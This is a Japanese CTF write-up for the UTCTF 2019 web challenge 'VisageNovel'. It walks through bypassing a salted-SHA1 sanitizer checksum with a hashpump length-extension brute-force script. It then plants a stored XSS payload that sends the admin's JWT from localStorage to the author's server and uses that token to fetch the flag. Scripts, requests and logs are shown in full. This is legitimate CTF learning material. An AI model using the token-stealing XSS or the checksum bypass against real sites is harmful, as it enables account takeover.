UTCTF 2019 CTF Writeup - VisageNovel
Question
After becoming king, Shrek decides to create a social network for all citizens of Duloc, using the most modern web technologies such as React and Express. Become an admin and gain access to the exclusive admins-only flag portal. http://visagenovel.ga Note: please make up new passwords to use on this site. It's probably safe, but I make no guarantees!
Solution
アカウントを作成してログインすると、以下4つのボタンがある画面が表示される。
- GET FLAG
- UPDATE USER
- UPDATE PASSWORD
- LOGOUT
GET FLAGボタンを押下すると、You are not an admin
の表示。
UPDATE USERボタンを押下すると、First Name、Last Name、Email、Statusを更新可能な画面へ遷移。
試しに各入力項目に<script>alert(1)</script>
を入力して、SAVE CHANGESボタンを押下する。
First Name、Last Name、Emailには反映されたが、エスケープ処理がかかっている。
Statusは空になっている。
この時の通信を観察すると、/sanitize
へリクエストをしてから、/updateUser
にリクエストをしていた。
/sanitizeへのリクエスト
GET /sanitize?content=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1 (snip)
/sanitizeからのレスポンス
{"content":"","checksum":"885d278160d296b3d286a021e5c9a01081dd2adb"}
/updateUserへのリクエスト
PUT /updateUser HTTP/1.1 (snip) {"first_name":"<script>alert(1)</script>","last_name":"<script>alert(1)</script>","email":"<script>alert(1)</script>","status":"","checksum":"885d278160d296b3d286a021e5c9a01081dd2adb","username":"wwww"}
/updateUserからのレスポンス
{"auth":true,"message":"user updated"}
つまり、/sanitize
でStatus項目の更新文字列に対してサニタイズ処理をしてタグを除去した上で、/updateUser
に更新文字列を送信している。
また、/sanitize
と/updateUser
の間で改ざんされていないことをチェックするため、checksumを使用している。
このchecksumの計算にはSALTを使用してSHA1計算をしているようで、更新文字列をSHA1計算しても一致しない。
次に、Share Linkを確認する。
適当な別ユーザのページにアクセスしてみると、THIS IS INAPPROPRIATEのリンクが表示されている。
押下すると、User reported! An admin should take a look at this within 10 minutes.
の表示。
管理者がチェックにくるようだ。
この機能があるということは、XSSで管理者の認証情報を窃取するパターンと推測。
サニタイズ処理をバイパスして、Status項目に認証情報を自サーバに送信させるスクリプトを埋め込み、
別ユーザで管理者に通報させれば、管理者の認証情報を取得してフラグが取れそうだ。
サニタイズ処理のバイパス方法だが、SALT付きでSHA1のハッシュ計算をしている点から、Length Extension Attackを疑う。
hashpumpを使うが、SALTの文字列の長さがわからないため、1~100まで総当たりするシェルスクリプトを作って確認する。
なお、正常系を観察すると、StatusはBASE64エンコードした文字列をセットする仕様。
#!/bin/sh for i in `seq 1 100`; do echo "---------------- $i ----------------" payload="<img src=x onerror=alert(1)>" status=`hashpump -s faf0fe3e1c5828bf234de5dd3dc7e5bc4b2d53b6 -d aaa -k $i -a "$payload" | tail -1 | xargs -d @ echo -e | tr -d "\n" | base64 -w0` checksum=`hashpump -s faf0fe3e1c5828bf234de5dd3dc7e5bc4b2d53b6 -d aaa -k $i -a "$payload" | head -1 | xargs echo -n` curl http://visagenovel.ga:3003/updateUser -X PUT \ -H "Authorization: JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTU5LCJpYXQiOjE1NTIyMTA4MzZ9.kWvPPDHO64bxpzdBK7uGC8V838Y1yaRm7S53yvRrlOI" \ -H "Content-Type: application/json;charset=UTF-8" \ -d '{"first_name":"vvv","last_name":"vvv","email":"vvv","status":"'$status'","checksum":"'$checksum'","username":"vvv"}' echo "" done
実行結果は以下の通り。
root@kali:~/Contest/UTCTF2019# ./updateUser.1.sh ---------------- 1 ---------------- "your checksum is invalid" ---------------- 2 ---------------- "your checksum is invalid" ---------------- 3 ---------------- "your checksum is invalid" (snip) ---------------- 30 ---------------- "your checksum is invalid" ---------------- 31 ---------------- "your checksum is invalid" ---------------- 32 ---------------- {"auth":true,"message":"user updated"}
長さ32で更新に成功した!
画面を表示してみると、alertが表示された。
次に、自サーバに認証情報を送信させるスクリプトを埋め込む。
認証情報とは、HTTP Request HeaderにセットされるJWTを指す。
/static/js/main.3a75770c.js
より、localStorageにJWT
という名前で保存されていることを突き止める。
以下のシェルスクリプトで、JWTを窃取するスクリプトをStatusに埋め込む。
#!/bin/sh i=32 payload="<img src=x onerror=location.href='http://myserver/?q='+localStorage.getItem('JWT')>" status=`hashpump -s faf0fe3e1c5828bf234de5dd3dc7e5bc4b2d53b6 -d aaa -k $i -a "$payload" | tail -1 | xargs -d @ echo -e | tr -d "\n" | base64 -w0` checksum=`hashpump -s faf0fe3e1c5828bf234de5dd3dc7e5bc4b2d53b6 -d aaa -k $i -a "$payload" | head -1 | xargs echo -n` curl http://visagenovel.ga:3003/updateUser -X PUT \ -H "Authorization: JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTU5LCJpYXQiOjE1NTIyMTA4MzZ9.kWvPPDHO64bxpzdBK7uGC8V838Y1yaRm7S53yvRrlOI" \ -H "Content-Type: application/json;charset=UTF-8" \ -d '{"first_name":"vvv","last_name":"vvv","email":"vvv","status":"'$status'","checksum":"'$checksum'","username":"vvv"}'
実行する。
root@kali:~/Contest/UTCTF2019# ./updateUser.sh {"auth":true,"message":"user updated"}
別アカウントを作成し、通報してしばらく待つと、管理者からJWTが送られてきた。
35.196.23.32 - - [10/Mar/2019:22:45:19 +0900] "GET /?q=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwiaWF0IjoxNTUyMjI1NTE5fQ.ZtHgK9-P3blfs3s6uKqERvt1oe6_hBq6wDy5pTYGJWA HTTP/1.1" 200 288 "http://visagenovel.ga/userProfile/vvv" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/73.0.3679.0 Safari/537.36"
/static/js/main.3a75770c.js
より/getFlag
というAPIがあることを確認し、JWTを付けてリクエストする。
GET /getFlag HTTP/1.1 Host: visagenovel.ga:3003 Authorization: JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwiaWF0IjoxNTUyMjI1NTE5fQ.ZtHgK9-P3blfs3s6uKqERvt1oe6_hBq6wDy5pTYGJWA
HTTP/1.1 200 OK X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Content-Length: 55 ETag: W/"37-wJDqotZWMmAlTpGhBR7Qqe+aHnc" Date: Sun, 10 Mar 2019 16:47:10 GMT Connection: keep-alive {"flag":"utflag{2_be_fair_u_need_A_v_hi_iq_to_do_xss}"}
フラグゲット。
checksumの計算が、若干のエスパー感がある問題だった。